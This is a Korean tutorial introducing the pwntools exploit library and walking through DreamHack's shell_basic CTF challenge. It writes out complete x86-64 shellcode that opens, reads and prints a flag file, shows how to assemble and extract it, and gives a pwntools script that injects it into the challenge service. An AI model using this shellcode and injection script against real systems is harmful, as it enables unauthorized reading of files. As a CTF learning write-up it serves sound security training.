pwntools 소개 및 테스트
pwntools를 간단히 소개하고, DreamHack의 shell_basic 문제를 풀어본다.
Pwntools 소개
Pwntools는 CTF(Capture The Flag) 프레임워크이자 exploit 개발 라이브러리로, 파이썬 기반의 보안 도구 모음이다. Python으로 작성되었으며 신속한 프로토타입 제작 및 개발을 위해 설계되었고, exploit 작성시에도 이용할 수 있다.
공식 문서와 소스는 아래 페이지에서 찾아볼 수 있다.
Pwntools 설치
우분투의 경우 아래와 같이 APT 패키지로 설치할 수 있다.
$ sudo apt install python3-pwntools
또는 아래와 같이 파이썬 패키지로 설치할 수도 있다.
$ pip install pwntools
설치한 이후에는 파이썬에도 패키지를 import하여 라이브러리로 사용할 수 있고, 아래 예와 같이 pwn 명령으로 포함된 툴을 실행시킬 수도 있다.
예를 들어 아래와 같이 checksec 옵션을 이용하면 checksec 툴과 동일한 결과를 얻을 수 있다.
$ pwn checksec {실행파일}
파이썬 기본 예제
아래 예와 같이 로컬 실행 파일을 process로 실행시키고, 문자열 receive, send 등을 할 수 있다.
from pwn import process
p = process("실행파일")
p.recvline()
p.recvuntil(b'Password:')
p.sendline(b"Hello, world!")
p.close()
그런데 CTF 문제는 원격으로 nc로 접속해야 할 때가 많은데, 이때는 process 대신에 아래 예와 같이 remote 클래스를 사용하면 원격 서버에 접속할 수 있고, 이때도 마찬가지로 recv, send 계열의 함수를 사용할 수 있다.
from pwn import remote
p = remote("서버 주소", 포트)
p.recvline()
p.recvuntil(b'Password:')
p.sendline(b"Hello, world!")
p.close()
아래에 Dreamhack의 기본 shell_basic 문제를 pwntools로 푸는 방법을 예로 들겠다.
DreamHack shell_basic 문제 풀기 예
- 원격 서버에서 /home/shell_basic/flag_name_is_loooooong 파일이 flag를 포함하고 있으므로, 로컬 서버에서도 이 경로로 파일을 만들고 임의의 테스트 문자열을 저장한다.
- 아래와 같이 테스트 코드를 작성하여 로컬 환경에서 동작하는지 확인해 본다. (즉, 해당 파일을 open하여 read 하고, 읽은 내용을 콘솔로 출력함)
// cat /home/shell_basic/flag_name_is_loooooong __asm__( ".global test_asm\n" "test_asm:\n" "xor rax, rax\n" "push rax\n" "mov rax, 0x676e6f6f6f6f6f6f\n" "push rax\n" "mov rax, 0x6c5f73695f656d61\n" "push rax\n" "mov rax, 0x6e5f67616c662f63\n" "push rax\n" "mov rax, 0x697361625f6c6c65\n" "push rax\n" "mov rax, 0x68732f656d6f682f\n" "push rax\n" "mov rdi, rsp\n" "xor rsi, rsi\n" "xor rdx, rdx\n" "mov rax, 2\n" "syscall\n" "\n" "mov rdi, rax\n" "mov rsi, rsp\n" "sub rsi, 0x40\n" "mov rdx, 0x40\n" "mov rax, 0x0\n" "syscall\n" "\n" "mov rdi, 1\n" "mov rax, 0x1\n" "syscall\n" "\n" "xor rdi, rdi\n" "mov rax, 0x3c\n" "syscall\n" ); void test_asm(); int main(int argc, char *argv[]) { test_asm(); return 0; }아래와 같이 빌드한다.
$ sudo apt install seccomp libseccomp-dev $ gcc -o test test.c -masm=intel -lseccomp이제 빌드된 test 파일을 실행하여, /home/shell_basic/flag_name_is_loooooong 파일의 내용이 출력되면 어셈블리어 코드가 올바르다는 것이 검증된다.
- 따라서 이제 write.asm 파일에 아래와 같이 어셈블리어 코드를 작성할 수 있다.
section .text global _start _start: xor rax, rax push rax mov rax, 0x676e6f6f6f6f6f6f push rax mov rax, 0x6c5f73695f656d61 push rax mov rax, 0x6e5f67616c662f63 push rax mov rax, 0x697361625f6c6c65 push rax mov rax, 0x68732f656d6f682f push rax mov rdi, rsp ; rdi = '/home/shell_basic/flag_name_is_loooooong' xor rsi, rsi ; rsi = 0 ; RD_ONLY xor rdx, rdx ; rdx = 0 mov rax, 2 ; rax = 2 ; syscall_open syscall ; open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL) mov rdi, rax ; rdi = fd mov rsi, rsp sub rsi, 0x40 ; rsi = rsp-0x40 ; buf mov rdx, 0x40 ; rdx = 0x40 ; len mov rax, 0x0 ; rax = 0 ; syscall_read syscall ; read(fd, buf, 0x40) mov rdi, 1 ; rdi = 1 ; fd = stdout mov rax, 0x1 ; rax = 1 ; syscall_write syscall ; write(fd, buf, 0x40) xor rdi, rdi ; rdi = 0 mov rax, 0x3c ; rax = sys_exit syscall ; exit(0)아래와 같이 빌드하면 결과로 write.o 파일이 생성된다.
$ sudo apt install nasm $ nasm -f elf64 write.asm이후 아래와 같이 실행하면 write.o 파일에서 코드만 추출하여 write.bin 파일을 생성한다.
$ objcopy --dump-section .text=write.bin write.o추출한 어셈블 코드 데이터는 아래와 같이 확인할 수 있다.
$ hexdump -C write.bin이 데이터를 해킹할 프로그램에서 입력 데이터로 입력하면 된다.
- 위 데이터로 로컬에서 테스트하기 위하여 DreamHack에서 제공한 아래 소스(shell_basic.c)로 테스트해 본다.
#include <fcntl.h> #include <seccomp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/prctl.h> #include <unistd.h> #include <sys/mman.h> #include <signal.h> void alarm_handler() { puts("TIME OUT"); exit(-1); } void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(10); } void banned_execve() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); if (ctx == NULL) { exit(0); } seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0); seccomp_load(ctx); } int main(int argc, char *argv[]) { char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); void (*sc)(); init(); banned_execve(); printf("shellcode: "); read(0, shellcode, 0x1000); sc = (void *)shellcode; sc(); return 0; }위 소스를 아래와 같이 빌드한다.
$ gcc -o shell_basic shell_basic.c -masm=intel -lseccomp아래와 같이 cat으로 테스트해 보면 성공한다.
$ cat write.bin | ./shell_basic - 그런데 실제로는 원격 서버에서 이미 프로그램이 실행되고 있고, 입력 데이터를 어셈블리어 hex로 입력해야 하므로, 여기서 pwntools를 이용할 수 있다.
아래와 같이 파이썬 코드를 작성한다. (즉, 프로세스를 연 후에, “shellcode:” 문자열이 출력되면 write.bin 내용을 hex로 입력함)#!/usr/bin/env python3 from pwn import process p = process("./shell_basic") with open("write.bin", "rb") as f: hex_byte = f.read() p.sendlineafter(b"shellcode:", hex_byte) p.interactive() p.close()위 코드를 실행하여 성공했으면 로컬에서의 검증은 완료되었다.
- 마지막으로 아래 예와 같이 로컬 실행 파일 대신에 로컬 원격 서버로 연결하게 한 후에 실행하면, 해킹이 성공한다. (포트 값에 실제로 VM에 할당된 포트 번호 적용 필요)
#!/usr/bin/env python3 from pwn import remote p = remote("host3.dreamhack.games", 포트) with open("write.bin", "rb") as f: hex_byte = f.read() p.sendlineafter(b"shellcode:", hex_byte) p.interactive() p.close()
맺음말
간단하게 pwntools를 소개하였고 이를 이용하여 DreamHack의 기본적인 CTF 문제를 풀어 보았는데, pwntools는 CTF 문제를 푸는 이외에도 다양한 용도로 활용할 수 있으므로 간단히 기록해 보았다.